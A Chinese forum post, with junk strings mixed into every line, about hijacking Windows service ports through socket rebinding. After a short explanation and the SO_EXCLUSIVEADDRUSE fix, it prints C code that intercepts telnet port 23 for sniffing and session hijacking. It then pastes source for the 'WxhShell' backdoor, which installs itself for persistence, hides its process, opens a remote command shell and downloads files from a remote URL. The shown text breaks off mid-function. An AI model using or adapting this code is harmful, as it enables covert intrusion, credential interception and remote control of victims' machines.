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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: kV3 8`s>+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N&M~0iw  
5sb\r,kW  
  saddr.sin_family = AF_INET; eQ&ZX3*}  
Ry|!pV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8KRba4[  
6qp%$>$Vt;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [/X4"D-uOK  
-e8}Pm "  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hbpqyl%O>  
Qm/u h  
  这意味着什么?意味着可以进行如下的攻击: DoeiW=  
RoyPrO [3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &SrO)  
CjiVnWSz<  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d$ ^ ,bL2p  
?`4+cx}n  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zSFDUZ]A3  
phgm0D7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a AB`G3  
=Jym%m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CXC`sPY  
f{FDuIl n  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8)4P Ll  
&0`) Q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {>F7CT'G6  
%%4t~XC#  
  #include %wSj%>&-R  
  #include d.P\fPSD  
  #include u07pq4Ly  
  #include    WoBo9aR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -*XCxU'  
  int main() nI*v820,  
  { ;dzL}@we  
  WORD wVersionRequested; /jRRf"B  
  DWORD ret; qu-/"w<3$  
  WSADATA wsaData; Q^#;WASi  
  BOOL val; B|&"#Q  
  SOCKADDR_IN saddr; V?=8".GiX  
  SOCKADDR_IN scaddr; 9F*+YG!  
  int err; Et/&^&=\-  
  SOCKET s; !Uq^7Mw  
  SOCKET sc; smry2*g  
  int caddsize; TEaJG9RU>v  
  HANDLE mt; Ck!VV2U#  
  DWORD tid;   +*hm-lv?  
  wVersionRequested = MAKEWORD( 2, 2 ); G;~V  
  err = WSAStartup( wVersionRequested, &wsaData ); Lg+G; W  
  if ( err != 0 ) { 4Z/Q=Mq2  
  printf("error!WSAStartup failed!\n"); l'TWkQ-  
  return -1; u,w:SM@*(  
  } `4~H/'%QB  
  saddr.sin_family = AF_INET; n;:rf7hGY  
   )kkhJI*v  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R@`y>XGNJ  
%!PM&zV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9t#S= DP  
  saddr.sin_port = htons(23); 2!$gyu6bpG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yd?x= |  
  { &w1P\4?G  
  printf("error!socket failed!\n"); mljh|[  
  return -1; 4-[J@  
  } I:d[Q s  
  val = TRUE; ()3O=!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 iX4Iu3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  z~>pVs  
  { |K|h+fgG6*  
  printf("error!setsockopt failed!\n"); g'|MA~4yB  
  return -1; _`pD`7:aI^  
  } H[='~%D  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I;1lX L  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?A )hN8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &[ ;HYgp  
MKWyP+6`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [/BE8]M ~  
  { Z"uY}P3  
  ret=GetLastError(); _X'"w|0  
  printf("error!bind failed!\n"); 2[ r^M'J  
  return -1; [Ts"OPb% ~  
  } hjQ~uqbg  
  listen(s,2); <&:=z?30"  
  while(1) h`H,a7  
  { Y "VY%S^  
  caddsize = sizeof(scaddr); PxfY&;4n!  
  //接受连接请求 R?p00  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {4-[r#R<M  
  if(sc!=INVALID_SOCKET) Yp:KI7  
  { q.()z(M 7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v= N!SaK{  
  if(mt==NULL) e@ \p0(  
  { QurW/a  
  printf("Thread Creat Failed!\n"); Jzp#bgq}|  
  break; Nq@+'<@p$  
  } ~O1&@xX  
  } &|`C)6[C  
  CloseHandle(mt); kGN+rHo   
  } '_$uW&{NI  
  closesocket(s); h)Ff2tX  
  WSACleanup(); jr3ti>,xV  
  return 0; w/IZDMBf|  
  }   =lVK IW  
  DWORD WINAPI ClientThread(LPVOID lpParam) qVs\Y3u(  
  { w$u3W*EoU^  
  SOCKET ss = (SOCKET)lpParam; B.L]Rk\4  
  SOCKET sc; b?j< BvQ  
  unsigned char buf[4096]; 3yNU$.g  
  SOCKADDR_IN saddr; -Fn  }4M  
  long num; (k|_J42[  
  DWORD val; ? mhs$g>  
  DWORD ret; M_%B|S {  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fks)+L'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bN3#{l-`  
  saddr.sin_family = AF_INET; bl'z<S, '  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <~)kwq'  
  saddr.sin_port = htons(23); jH6&q~#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v$ub~Q6W  
  { $/7pYl\n  
  printf("error!socket failed!\n"); m-jHze`D3  
  return -1; E~AjK'Z  
  } 5P'p2x#U  
  val = 100; c-Pw]Ju  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :hI@AA>g  
  { QzAK##9bfa  
  ret = GetLastError(); =dx1/4bZl|  
  return -1; ykFJ%sw3X  
  } 5j-]EJb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  fu9Cx  
  { <2nZ&M4/s{  
  ret = GetLastError(); 2 6>ZW4Z  
  return -1; U. @*`Fg  
  } ?SC[G-b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hp(D);0+)  
  { XduV+$ 03  
  printf("error!socket connect failed!\n"); E(i[o?  
  closesocket(sc); +z$pg  
  closesocket(ss); O%ug@& S{  
  return -1; a:_I  
  } M5trNSL&u  
  while(1) A'%1ZQ33O  
  { hbc uK&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _fwb!T}$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h/,${,}J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JO@|*/mL  
  num = recv(ss,buf,4096,0); G\a8B#hg  
  if(num>0) ,<Q~b%(3  
  send(sc,buf,num,0); @l0|*lo%  
  else if(num==0) .T*GN|@$!  
  break; XB[<;*Iz  
  num = recv(sc,buf,4096,0); 0j_bh,zG#  
  if(num>0) gp-T"l  
  send(ss,buf,num,0); nIvJrAm4k  
  else if(num==0) 8L1ohj  
  break; 9Mgq1Z  
  } .WQ+AE8Q  
  closesocket(ss); oQL59XOT4  
  closesocket(sc); kZ=s'QRgL  
  return 0 ; 2z@\R@F  
  } 1c@} C+F+  
>g;kJe  
aIXdV2QS  
========================================================== )$Z=t-q  
$:of=WTY(  
下边附上一个代码,,WXhSHELL 8#D:H/`'  
A?*o0I  
========================================================== ^xZ e2@  
v-! u\  
#include "stdafx.h" NOS>8sy  
_aPh(qprc  
#include <stdio.h> 4&cL[Ny  
#include <string.h> |G/7_+J6  
#include <windows.h> lW 81q2n  
#include <winsock2.h> S{K0.<,E  
#include <winsvc.h> _e7-zg$/  
#include <urlmon.h> q-Qxbg[>e  
P6Mhbmt9*  
#pragma comment (lib, "Ws2_32.lib") wP/A^Rs  
#pragma comment (lib, "urlmon.lib") Eaqca{%/^  
1R. 4:Dn_  
#define MAX_USER   100 // 最大客户端连接数 WX4;l(P L=  
#define BUF_SOCK   200 // sock buffer y4Er @8I`  
#define KEY_BUFF   255 // 输入 buffer D\H/   
ayBRWT0  
#define REBOOT     0   // 重启 |0z;K:5s  
#define SHUTDOWN   1   // 关机 "Y=+Ls(3o(  
Krs2Gre}  
#define DEF_PORT   5000 // 监听端口 {>bW>RO)  
tW;:-  
#define REG_LEN     16   // 注册表键长度 s[Ur~Wvn  
#define SVC_LEN     80   // NT服务名长度 }Up.){.%  
DKm Z  
// 从dll定义API mw^7oO#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y[SU&LM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |/ }\6L]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W~Z<1[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a83g\c5   
<*EZ@XoN>  
// wxhshell配置信息 LC0d/hM  
struct WSCFG { |*mL1#bB  
  int ws_port;         // 监听端口 LG]3hz9^9  
  char ws_passstr[REG_LEN]; // 口令 &5t :H 8b  
  int ws_autoins;       // 安装标记, 1=yes 0=no _u}4j9T  
  char ws_regname[REG_LEN]; // 注册表键名 Yif*"oO  
  char ws_svcname[REG_LEN]; // 服务名 *U#m+@\0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~3RC>8*Qw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7'N S9|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [\Qr. 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cubUq5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]h9!ei [  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QjPj[c  
C}5M;|%3)  
}; \b*X:3g*  
^S#t|rN  
// default Wxhshell configuration #;# 3%?  
struct WSCFG wscfg={DEF_PORT, `8\Ja$ =  
    "xuhuanlingzhe", >`jU`bR@  
    1, T5O _LCIws  
    "Wxhshell", s4H2/EC  
    "Wxhshell", '!1$9o^$  
            "WxhShell Service", [/RM=4Nh5  
    "Wrsky Windows CmdShell Service", A`6ra}U<  
    "Please Input Your Password: ", )$Z(|M4  
  1, @uH#qg7  
  "http://www.wrsky.com/wxhshell.exe", _DP|-bp D  
  "Wxhshell.exe" ~svO*o Wa  
    }; A4mSJ6K]  
m?[5J)eR  
// 消息定义模块 H0"=Vs,n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "gW7<ilw  
char *msg_ws_prompt="\n\r? for help\n\r#>";  8%RI7Mg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D,ly#Nn  
char *msg_ws_ext="\n\rExit."; -p-0;Hy  
char *msg_ws_end="\n\rQuit."; ->lu#; A5  
char *msg_ws_boot="\n\rReboot..."; W0cgI9=9  
char *msg_ws_poff="\n\rShutdown..."; %}>dqUyQ  
char *msg_ws_down="\n\rSave to "; a1N!mQ^  
Wd(86idnc  
char *msg_ws_err="\n\rErr!"; AAUyy :  
char *msg_ws_ok="\n\rOK!"; efz&@|KR  
_w ]4~V9  
char ExeFile[MAX_PATH]; YH:8<O,{-  
int nUser = 0; FnHi(S|A  
HANDLE handles[MAX_USER]; $A<ESfrs  
int OsIsNt; AK u_~bTk  
xeTgV&$@  
SERVICE_STATUS       serviceStatus; l|/:Ot  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z"I/ NGiU  
eUO9 a~<  
// 函数声明 Z%gx%$  
int Install(void); m|svQ-/j  
int Uninstall(void); R,@g7p  
int DownloadFile(char *sURL, SOCKET wsh); y:}sD_m0W  
int Boot(int flag); {fSf q&o  
void HideProc(void); 1q.(69M  
int GetOsVer(void); mE#nU(+Ta  
int Wxhshell(SOCKET wsl); s* j fMY  
void TalkWithClient(void *cs); ]qw0V   
int CmdShell(SOCKET sock); {b!7 .Cd=  
int StartFromService(void); s.jO<{  
int StartWxhshell(LPSTR lpCmdLine); G\iyJSj[P  
G { mC7@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v vE\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mxqG-*ch-  
?n'O Fpd  
// 数据结构和表定义 8}BBOD  
SERVICE_TABLE_ENTRY DispatchTable[] = PoD^`()FR{  
{ XY+y}D %  
{wscfg.ws_svcname, NTServiceMain}, X,v4d~>]  
{NULL, NULL} RB3 zHk%  
}; yi!`V.  
"2Op[~V  
// 自我安装 p/]s)uYp$  
int Install(void) ^lO76Dz~a  
{ d$;/T('  
  char svExeFile[MAX_PATH]; Qu~*46?0  
  HKEY key; ^abD !8  
  strcpy(svExeFile,ExeFile); i</J@0}y  
'dt\db5p  
// 如果是win9x系统,修改注册表设为自启动 5JFV%odo  
if(!OsIsNt) { &$ p[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =3ADT$YHd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LP`CS849z2  
  RegCloseKey(key); PJ 9%/Nrh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E20 :uZ7\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E8/rZ~0O~  
  RegCloseKey(key); ehOs9b  
  return 0; ^b53}f8H  
    } V_a)jJ  
  } .RRlUWu  
} ESDB[ O+`x  
else { :):zNn_>`  
XT||M)#  
// 如果是NT以上系统,安装为系统服务 j Selop>N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L0&S0HG   
if (schSCManager!=0) d bO#  
{ YBSl-G'  
  SC_HANDLE schService = CreateService Jgi Iq  
  ( (@ ]tG?I=  
  schSCManager, ,d 7Z  
  wscfg.ws_svcname, +8^_D?*\n  
  wscfg.ws_svcdisp, l_+A5Xy  
  SERVICE_ALL_ACCESS, A4_>LO_qL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G :4;y7  
  SERVICE_AUTO_START, &(O06QL  
  SERVICE_ERROR_NORMAL, Q\#UWsN(T/  
  svExeFile, `fW{yb  
  NULL, _+zVpZ  
  NULL, S;}qLjT  
  NULL, If.n(t[M9  
  NULL, /4C`k=>  
  NULL eF1.VLI  
  ); 3Xdn62[&  
  if (schService!=0) R [9w  
  { .5g}rxO8  
  CloseServiceHandle(schService); 7c::Qf[|  
  CloseServiceHandle(schSCManager); "T*I|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F!~l MpuE  
  strcat(svExeFile,wscfg.ws_svcname); )vHi|~(   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *ro.mQ_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3A R%&:-  
  RegCloseKey(key); ){tPP$-i=  
  return 0; |s`Kd-'|q  
    } ?L`ZKRD  
  } ~ hD{coVTI  
  CloseServiceHandle(schSCManager); C ktX0  
} .;slrg(5F  
} Ed=}PrE  
X')S;KW  
return 1; $,P\)</ VR  
} =>YvA>izE  
!`C%Fkq  
// 自我卸载 e\~l!f'z  
int Uninstall(void) {8ECNQ[]  
{ cQ,9Rnfl,  
  HKEY key; ;o >WXw  
@ta?&Qf)  
if(!OsIsNt) { 6z]`7`G   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %O/d4  
  RegDeleteValue(key,wscfg.ws_regname); 5&qY3@I7l  
  RegCloseKey(key); 3M$X:$b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X2P``YFV{  
  RegDeleteValue(key,wscfg.ws_regname); {_as!5l  
  RegCloseKey(key); b_ JWnh  
  return 0; I{<;;;a  
  } F '#^`G9  
} ` @>ZGL:  
} cUC17z2D  
else { 'Q`C[*c  
m >hovikY*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x-4J/tm  
if (schSCManager!=0) H%~Q?4  
{ iUCwKpb9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (uT^Nn9L=  
  if (schService!=0) 6puVw-X  
  { :}y| 4*z  
  if(DeleteService(schService)!=0) { y&3TQ]f\  
  CloseServiceHandle(schService); X{'wWWZC  
  CloseServiceHandle(schSCManager); UU"d_~pp  
  return 0; /KP_Vc:g2_  
  } dh?S[|='  
  CloseServiceHandle(schService); Pzptr%{  
  } tgfM:kzw  
  CloseServiceHandle(schSCManager); 3z$HKG  
} ?KCxrzf  
} @[0jFjK  
Kv1vx*>  
return 1; :SQ LfOQ  
} XX:q|?6_ 4  
9Yd-m  
// 从指定url下载文件 9yDFHz w  
int DownloadFile(char *sURL, SOCKET wsh) *<?XTs<  
{ &E`9>&~J  
  HRESULT hr; GA7u5D"0  
char seps[]= "/"; wYa0hNd  
char *token; =s6E/K  
char *file; a2[ 8wv1  
char myURL[MAX_PATH]; z6Fun  
char myFILE[MAX_PATH]; ]|;7R^o3|  
u8xk]:%  
strcpy(myURL,sURL); o\:$V   
  token=strtok(myURL,seps); FE>3 D1\  
  while(token!=NULL) v'K % %z  
  { _>;&-e  
    file=token; !>q?dhw@  
  token=strtok(NULL,seps); R&#[6 r(h  
  } sb`&bA;i  
P~o@9RV-  
GetCurrentDirectory(MAX_PATH,myFILE); (}sDm ~;s  
strcat(myFILE, "\\"); $e>/?Ss  
strcat(myFILE, file); _qEWu Do  
  send(wsh,myFILE,strlen(myFILE),0); 5a8JVDLX^  
send(wsh,"...",3,0); '+tKvTU;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HqB|SWyK  
  if(hr==S_OK) VVgsLQd  
return 0; Ko@zk<~"[  
else +tPx0>p;  
return 1; *ZX!EjICk  
OA!R5sOz"  
} vP-3j  
VPdwSW[eM  
// 系统电源模块 ^P]?3U\nj  
int Boot(int flag) 7:#  
{ O{Dm;@J-aM  
  HANDLE hToken; *O!T!J  
  TOKEN_PRIVILEGES tkp; >pN;J)H  
(21']x  
  if(OsIsNt) { zUNH8=U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 10/x'#(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q%+ }  
    tkp.PrivilegeCount = 1; id3)6}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^}>zYt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q^)=F_QvG  
if(flag==REBOOT) { p1Y+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &zO3qt6  
  return 0; +SO2M|ru&  
} 2%`^(\y  
else { F\zkyk 4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~6\& y  
  return 0; nMTLD  
} \FIa,5k8  
  } 8e]z6:}'E  
  else { 0Z@ARMCe|m  
if(flag==REBOOT) { E"G:K`Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y]hV-_2+Do  
  return 0; bl$+8 !~  
} 1 ,#{X3  
else { jB5>y&+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kA;xAb+U3  
  return 0; \8=e |a5`  
} y;zt_O/  
} -J-3_9I  
}DJ|9D^yf  
return 1; 0m]~J_   
} A*G )CG  
Lhl$w'r  
// win9x进程隐藏模块 3Gc ,I:\  
void HideProc(void) $o/0A  
{ ~gSwxGT7d  
'bZMh9|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6F@zCv"w  
  if ( hKernel != NULL ) YtV |e|aD  
  { fG X1y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \Oi5=,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1M7\:te*  
    FreeLibrary(hKernel); e} sc]MTM  
  } ox!|)^`$_  
0@II &  
return; yjGGqz$  
}  %zA2%cq<  
A/ 7r:yO  
// 获取操作系统版本 gJ<@;O8zu0  
int GetOsVer(void) fBHkLRFH  
{ Y1$#KC  
  OSVERSIONINFO winfo; sN6 0o 7.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6V.awg,  
  GetVersionEx(&winfo); 8#X?k/mzU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Qw3a"k-  
  return 1; ,[Dh2fPM,  
  else L@)b%Q@a  
  return 0; E}xz7u   
} 3I'M6WA  
l9M#]*{  
// 客户端句柄模块 f28gE7Y\a  
int Wxhshell(SOCKET wsl) zAKq7'_=  
{ /Ki0+(4  
  SOCKET wsh; p2pTs&}S  
  struct sockaddr_in client; `E./p  
  DWORD myID; Rel(bA-[N  
LFk5rv'sM0  
  while(nUser<MAX_USER) V-?sek{;  
{ WE+sFaKq-  
  int nSize=sizeof(client); 2(+RIu0d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m1^dT_7Z  
  if(wsh==INVALID_SOCKET) return 1; &(5^v w<0  
5W?yj>JR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g28S3 '2  
if(handles[nUser]==0) wQF&GGY R  
  closesocket(wsh); <7vIh0  
else ",MK'\E  
  nUser++;  aX>4Tw  
  } ?)A]q' O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x:f|3"\s  
O vyB<r  
  return 0; GCf._8;%  
} XA&tTpfJE  
*b$z6.  
// 关闭 socket _9}x2uO~  
void CloseIt(SOCKET wsh) m NUN6qVP~  
{ LU-#=1Q  
closesocket(wsh); k7z(Gbzu   
nUser--; lU&`r:1>_  
ExitThread(0); "@c';".|  
} gt2>nTJz.Z  
eEZ|nEU  
// 客户端请求句柄 K B`1%=  
void TalkWithClient(void *cs) A^T~@AO  
{ SX_kr^#  
<6d{k[7fz)  
  SOCKET wsh=(SOCKET)cs; +XU$GSw3(  
  char pwd[SVC_LEN]; xWC\954  
  char cmd[KEY_BUFF]; 1jZDw~  
char chr[1]; TS\A`{^T  
int i,j; *3w/`R<\  
z/eU^2V  
  while (nUser < MAX_USER) { o*O "\/pmF  
~>Hnf_pZO  
if(wscfg.ws_passstr) { 6T{o3wc;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y]z)jqX<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^'C,WZt  
  //ZeroMemory(pwd,KEY_BUFF); +LQs.*  
      i=0; P-E'cb%ub  
  while(i<SVC_LEN) { 5CH-:|(;=  
yZj}EBa  
  // 设置超时 @w#gRQCl  
  fd_set FdRead; Pv{,aV\I}  
  struct timeval TimeOut; /JK-}E  
  FD_ZERO(&FdRead); 6g~o3  
  FD_SET(wsh,&FdRead); 6*(h9!_T1  
  TimeOut.tv_sec=8; gJcXdv=]2  
  TimeOut.tv_usec=0; q[y,J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !SO$k%b}!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /QV. U.>G  
7(|3 OR+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iS:PRa1  
  pwd=chr[0]; LAK-!!0X  
  if(chr[0]==0xd || chr[0]==0xa) { ^?K?\   
  pwd=0; n&3iv ^  
  break; JucxhjV#,  
  } \ ]kb&Qw  
  i++; #T$'.M  
    } Oc"'ay(g  
PPj6QJ]R0  
  // 如果是非法用户,关闭 socket mP5d!+[8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "zeJ4f  
} {>UMw>T[  
Z68Wf5@to&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -}N\REXE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FkxhEat8  
>QZt)<[  
while(1) { p^zEfLTU  
=-Q  
  ZeroMemory(cmd,KEY_BUFF); TgQ|T57  
hPqapz]HcP  
      // 自动支持客户端 telnet标准   c&Su d, &  
  j=0; tO+%b=Z^  
  while(j<KEY_BUFF) { Y9H *S*n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 53u.p c  
  cmd[j]=chr[0]; wJeqa  
  if(chr[0]==0xa || chr[0]==0xd) { QkCoW[sn  
  cmd[j]=0; /nMqEHCyg  
  break; $ Op/5j  
  } 9h,yb4jPP  
  j++; k+Ma_H`  
    } Bn#HJ17/#  
TNyY60E  
  // 下载文件 fssL'DD  
  if(strstr(cmd,"http://")) { ?j4,^K3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >gi{x|/  
  if(DownloadFile(cmd,wsh))  ]O9f"cj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uwm[q+sTp  
  else sm&rR=b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JmJ,~_  
  } ry'^1~,  
  else { &A5[C{x  
Jn:GA@[I  
    switch(cmd[0]) { a+a%}76N  
  >A'!T'"~  
  // 帮助 Ff#N|L'9_  
  case '?': { fN*4(yw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ubCJZ"!  
    break; aXK%m  
  } yA>p[F  
  // 安装 = cI\OsV&?  
  case 'i': { Y`O}]*{>8R  
    if(Install()) Y)j,(9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5$"[gdt)T  
    else {8bY7NH|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bzy=@]`  
    break; HG3>RcB  
    } qP^0($  
  // 卸载 E~g}DKs_5  
  case 'r': { )RCqsFjK  
    if(Uninstall()) wPO@f~[Ji  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ohtn^o;C}  
    else _2 !e!Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kFa?q} 47  
    break; eNC5' Z  
    } Jp*AIj  
  // 显示 wxhshell 所在路径 VU'l~%ql  
  case 'p': { JK8@J9(#  
    char svExeFile[MAX_PATH]; (PrPH/$  
    strcpy(svExeFile,"\n\r"); <ZvPtW  
      strcat(svExeFile,ExeFile); BLH3$*,H  
        send(wsh,svExeFile,strlen(svExeFile),0); ,l? 76g  
    break; fUWm7>6VA>  
    } 0?L$)T-B  
  // 重启 Xie dgy  
  case 'b': { w>q_8V_K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]aW.b_7<9  
    if(Boot(REBOOT)) [ MXXY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?QIQ,?.  
    else { <sFf'W_3{  
    closesocket(wsh); yExyx?j.  
    ExitThread(0); m}'@S+k^  
    } leYmV FE  
    break; nT .2jk+  
    } 'nDT.i  
